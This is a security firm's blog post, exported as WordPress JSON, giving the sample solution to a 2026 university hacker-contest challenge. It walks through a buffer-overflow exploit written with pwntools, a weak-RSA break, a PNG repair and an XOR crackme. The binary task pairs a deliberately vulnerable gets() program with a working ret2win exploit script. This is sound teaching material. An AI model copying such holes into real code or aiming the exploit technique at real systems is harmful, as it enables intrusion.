{"id":25178,"date":"2026-06-26T10:18:45","date_gmt":"2026-06-26T08:18:45","guid":{"rendered":"https:\/\/herolab.usd.de\/?p=25178"},"modified":"2026-06-26T10:18:46","modified_gmt":"2026-06-26T08:18:46","slug":"write-up-registration-challenge-hacker-contest-2026","status":"publish","type":"post","link":"https:\/\/herolab.usd.de\/en\/write-up-registration-challenge-hacker-contest-2026\/","title":{"rendered":"Write-Up Registration Challenge Hacker Contest Summer 2026"},"content":{"rendered":"\n<p>During summer semester of 2026, our \"Hacker Contest\" will be held again <a href=\"https:\/\/www.tu-darmstadt.de\/\" data-type=\"link\" data-id=\"https:\/\/www.tu-darmstadt.de\/\" target=\"_blank\" rel=\"noopener\">Darmstadt University (TU)<\/a> and <a href=\"https:\/\/h-da.de\/\" data-type=\"link\" data-id=\"https:\/\/h-da.de\/\" target=\"_blank\" rel=\"noopener\">Darmstadt University of Applied Sciences (h_da)<\/a>. In the popular course, students have the chance to get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems.<\/p>\n\n\n\n<p>As in every semester, prospective participants took on the Hacker Contest Challenge to qualify for participation.<\/p>\n\n\n\n<p>If you are curious to know what a Hacker Contest Challenge looks like, or which flags you might have missed this time: This is our sample solution for the summer semester 2026 Hacker Contest Challenge.<\/p>\n\n\n\n<div style=\"height:21px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Table of Contents<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"#scenario\" data-type=\"internal\" data-id=\"#scenario\">Scenario<\/a><\/li>\n\n\n\n<li><a href=\"#challenge\" data-type=\"internal\" data-id=\"#challenge\">Challenge<\/a><\/li>\n\n\n\n<li><a href=\"#vulnerabilities\" data-type=\"internal\" data-id=\"#vulnerabilities\">Vulnerabilities<\/a>\n<ul class=\"wp-block-list\">\n<li><a href=\"#Binary-Exploitation\" data-type=\"internal\" data-id=\"#Binary-Exploitation\">Binary Exploitation<\/a><\/li>\n\n\n\n<li><a href=\"#Cryptography\" data-type=\"internal\" data-id=\"#Cryptography\">Cryptography<\/a><\/li>\n\n\n\n<li><a href=\"#Cryptography\" data-type=\"internal\" data-id=\"#Cryptography\">Forensics<\/a><\/li>\n\n\n\n<li><a href=\"#Reverse-Engineering\" data-type=\"internal\" data-id=\"#Reverse-Engineering\">Reverse Engineering<\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<div style=\"height:21px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Scenario<\/h2>\n\n\n\n<p id=\"Scenario\">Dr. Mal Ware is a researcher known for two things: outstanding work in the field of computer security and an obsessive urge to hide everything he comes into contact with behind at least one unnecessary layer of protection. His colleagues joke that he even encrypts his grocery lists.<\/p>\n\n\n\n<p>Recently, he left for a sabbatical and abandoned his workstation in a pretty chaotic state. Four files, no documentation, no explanation. Typical Mal.<\/p>\n\n\n\n<p>No one on the team has made any progress with it so far.<br>Now it\u2019s your problem.<\/p>\n\n\n\n<div style=\"height:21px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Challenge<\/h2>\n\n\n\n<p id=\"Challenge\">The Challenge provides four different tasks to solve. They cover the areas of Binary Exploitation, Cryptography, Forensics, and Reverse Engineering.<\/p>\n\n\n\n<div style=\"height:21px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"Vulnerabilities\">Vulnerabilities<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Binary-Exploitation\">Binary Exploitation<\/h3>\n\n\n\n<p id=\"Binary-Exploitation\">In this task, participants are given a docker container which runs a program that is vulnerable to a stack overflow because of the usage of <code>gets(name)<\/code> in <code>vuln.c<\/code>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"atomic\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nvoid flag(){\n    system(\"cat \/flag\");\n}\n\nvoid vuln(void) {\n    char name[16];\n\n    printf(\"What is your name?\\n\");\n    gets(name);\n    printf(\"Hello %s!\\n\", name);\n}\n\nint main(int argc, char **argv) {\n    vuln();\n    return 0;\n}<\/pre>\n\n\n\n<p><code>gets(name)<\/code> reads user input without checking how much data is provided. Since <code>name<\/code> is only 16 bytes long, supplying more than 16 bytes causes the input to overflow into adjacent stack memory.<br>On x86_64, the stack layout for vuln() looks roughly like this:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"atomic\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">| return address (RIP, 8 bytes)|\n| saved RBP (8 bytes)          |\n| name[16]                     |<\/pre>\n\n\n\n<p>Therefore, the offset to RIP is <code>16 + 8 = 24<\/code> bytes.<br>The binary also contains a function <code>flag()<\/code>, which is never called. But since we can overwrite the return address, we can redirect execution to <code>flag()<\/code>. Here is a possible exploit:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"atomic\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/usr\/bin\/env python3\nfrom pwn import *\n\nBINARY_PATH = \".\/vuln\"\ncontext.binary = BINARY_PATH\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\n\n\ndef exploit():\n    elf = ELF(BINARY_PATH)\n    io = remote(\"localhost\", 31337)\n\n    flag_addr = elf.symbols['flag']\n    log.info(f\"flag: {hex(flag_addr)}\")\n\n    offset = 24\n    rop = ROP(elf)\n    ret = rop.find_gadget(['ret'])[0]\n\n    payload = flat(\n        b\"A\" * offset,\n        ret,\n        flag_addr\n    )\n\n    io.sendline(payload)\n    output = io.recvall(timeout=2)\n    log.info(output)\n\nif __name__ == \"__main__\":\n    exploit()<\/pre>\n\n\n\n<p>The exploit first resolves the address of <code>flag()<\/code> and then builds a payload. The payload consists of 24 bytes of data to fill the buffer and overwrite the saved <code>RBP<\/code>, <code>ret<\/code> as a gadget used for stack alignment, and <code>flag_addr<\/code> which becomes the new return address. The <code>ret<\/code> gadget is required since the stack needs to be 16-byte aligned before a function call. When we overwrite the return address manually, the stack alignment is no longer what the compiler expects. The additional <code>ret<\/code> gadget fixes this by shifting the stack by 8 bytes before entering <code>flag()<\/code>.<\/p>\n\n\n\n<p>When <code>vuln()<\/code> returns, execution jumps to <code>flag()<\/code> instead of back to <code>main()<\/code>, resulting in<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"atomic\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">system(\"cat \/flag\");<\/pre>\n\n\n\n<p>being executed and printing the flag: <strong>USD{TH47s0NEoV3rFl0WNBuff3R}<\/strong><\/p>\n\n\n\n<div style=\"height:21px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Cryptography<\/h3>\n\n\n\n<p id=\"Cryptography\">A text file with the following content is shared with participants:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"atomic\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">modulus = 71448348576730208360402604523024658663907311448489024669693316988935593287322878666163481950176220037593478347105937422686501991894419788796088422137966026252115665955708320894212670995120360575998022657117272837857081207414288967349703122112612592257302621922087523975633779413989846867753789334513516671708905864234990658834403314366781767307988861368706542035298905654098972927746169520765095828115590769191347542603494729999498008550716497559772775000047879966991317048980193679814642878967988188720203047827756681925721285995958041051137\n\nexponent = 65537\n\nciphertext = 23640165384682439640655748228079459163117915549277021157324938696071981435257806761673684640117050750573569329968888546085918779970337933778858150385305017381035835012597954528901825794185877201590669537461779975979426171975027432490164324079846923493249667882900771512943833717286199859521988259353125308895761733548203938259227907837696053540447288745573013902001004016027351373469265682918511777767496456696824566891622818168125722273259709110748198257592243613645318311776081667992276265295281271708036650195323390065783213947966940363011<\/pre>\n\n\n\n<p>They are supposed to crack the textbook RSA encryption and reveal the plaintext. Since RSA relies on the difficulty of factoring the modulus <code>n = p \\* q<\/code>, where <code>p<\/code> and <code>q<\/code> are large prime numbers, we check FactorDB to find out that <code>n<\/code> had already been factored, and the factors are both Mersenne primes. Once the prime factors of <code>n<\/code> are known, RSA can be broken completely because the private exponent d can be reconstructed:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"atomic\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">from sympy import mod\\_inverse\n\n# given\nn = 71448348576730208360402604523024658663907311448489024669693316988935593287322878666163481950176220037593478347105937422686501991894419788796088422137966026252115665955708320894212670995120360575998022657117272837857081207414288967349703122112612592257302621922087523975633779413989846867753789334513516671708905864234990658834403314366781767307988861368706542035298905654098972927746169520765095828115590769191347542603494729999498008550716497559772775000047879966991317048980193679814642878967988188720203047827756681925721285995958041051137\ne = 65537\nc = 23640165384682439640655748228079459163117915549277021157324938696071981435257806761673684640117050750573569329968888546085918779970337933778858150385305017381035835012597954528901825794185877201590669537461779975979426171975027432490164324079846923493249667882900771512943833717286199859521988259353125308895761733548203938259227907837696053540447288745573013902001004016027351373469265682918511777767496456696824566891622818168125722273259709110748198257592243613645318311776081667992276265295281271708036650195323390065783213947966940363011\n\n# factordb.com\np = pow(2, 521) - 1\nq = pow(2, 1279) - 1\n\nphi\\_n = (p - 1) \\* (q - 1)\nd = mod\\_inverse(e, phi\\_n)\n\nm = pow(c, d, n)\nflag = m.to\\_bytes((m.bit\\_length()+7) \/\/ 8, 'big').decode()\nprint(flag)<\/pre>\n\n\n\n<p>This reveals the flag: <strong>USD{c@refUlWItHyoUrpR!mES}<\/strong><\/p>\n\n\n\n<div style=\"height:21px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Forensics<\/h3>\n\n\n\n<p id=\"Forensics\">Participants are given a <code>.png<\/code> file, however when trying to open it, it seems to be broken. To repair the <code>.png<\/code>, we need to analyze the chunks and fix it in three places.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>PNG signature corrupted: <code>.png<\/code> files always start with the signature <code>89 50 4E 47 0D 0A 1A 0A<\/code>, however here, the 7th byte of the signature was changed to <code>1B<\/code><\/li>\n\n\n\n<li>Length value of the first chunk too small: The length value of the first chunk was changed to <code>0C<\/code> from <code>0D<\/code><\/li>\n\n\n\n<li>CRC of IHDR chunk corrupted: The CRC was changed from <code>00b0 57b9<\/code> to <code>00b0 56b9<\/code>. To calculate the correct CRC, the following script can be used:<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"atomic\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import zlib\nchunk = bytes.fromhex(\n \"494844520000002ab0000018001030000000\"\n)\ncrc = zlib.crc32(chunk) \\&amp; 0xffffffff\nprint(f\"Correct CRC: {crc:08x}\")<\/pre>\n\n\n\n<p>After fixing the <code>.png<\/code> in those three places, it can be recreated from the hexdump and the <code>.png<\/code> can finally be opened, revealing the flag: USD{n1ceDrAwiNG}<\/p>\n\n\n\n<div style=\"height:21px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Reverse Engineering<\/h3>\n\n\n\n<p id=\"Reverse-Engineering\">The executable <code>crackme<\/code> prompts for a password. To find out the password, we first load the file into <code>Ghidra<\/code> and inspect it.<br>Going through the decompiled code, we notice<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"atomic\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">local\\_10 = \\*(long \\*)(in\\_FS\\_OFFSET + 0x28);\nlocal\\_a4\\[0] = 0x26;\nlocal\\_a4\\[1] = 0x20;\nlocal\\_a4\\[2] = 0x25;\nlocal\\_a4\\[3] = 0x30;\nlocal\\_a4\\[4] = 0x27;\nlocal\\_a4\\[5] = 0x26;\nlocal\\_a4\\[6] = 0x30;\nlocal\\_a4\\[7] = 0x36;\nlocal\\_a4\\[8] = 0x27;\nlocal\\_a4\\[9] = 0x30;\nlocal\\_a4\\[10] = 0x21;\nlocal\\_a4\\[0xb] = 0;<\/pre>\n\n\n\n<p>A bit further down, <code>local\\_a4<\/code> is used:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"atomic\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">for (local\\_b0 = 0; local\\_a4\\[local\\_b0] != 0; local\\_b0 = local\\_b0 + 1) {\n local\\_58\\[local\\_b0] = local\\_a4\\[local\\_b0] ^ 0x55;\n }<\/pre>\n\n\n\n<p>Converting the values of <code>local\\_a4<\/code> to a string, we get \"&amp; %0'&amp;06'0!\". XORing that string with <code>0x55<\/code> as seen above gives us the password, which is <strong>supersecret<\/strong>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>During summer semester of 2026, our \"Hacker Contest\" will be held again Darmstadt University (TU) and Darmstadt University of Applied Sciences (h_da). In the popular course, students have the chance to get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems. As in [&hellip;]<\/p>\n","protected":false},"author":117,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"off","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"categories":[76],"tags":[193,227,162],"class_list":["post-25178","post","type-post","status-publish","format-standard","hentry","category-news","tag-hacker-contest-en","tag-tu-darmstadt-en","tag-vulnerabilities"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts\/25178","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/117"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=25178"}],"version-history":[{"count":1,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts\/25178\/revisions"}],"predecessor-version":[{"id":25179,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts\/25178\/revisions\/25179"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=25178"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/categories?post=25178"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/tags?post=25178"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}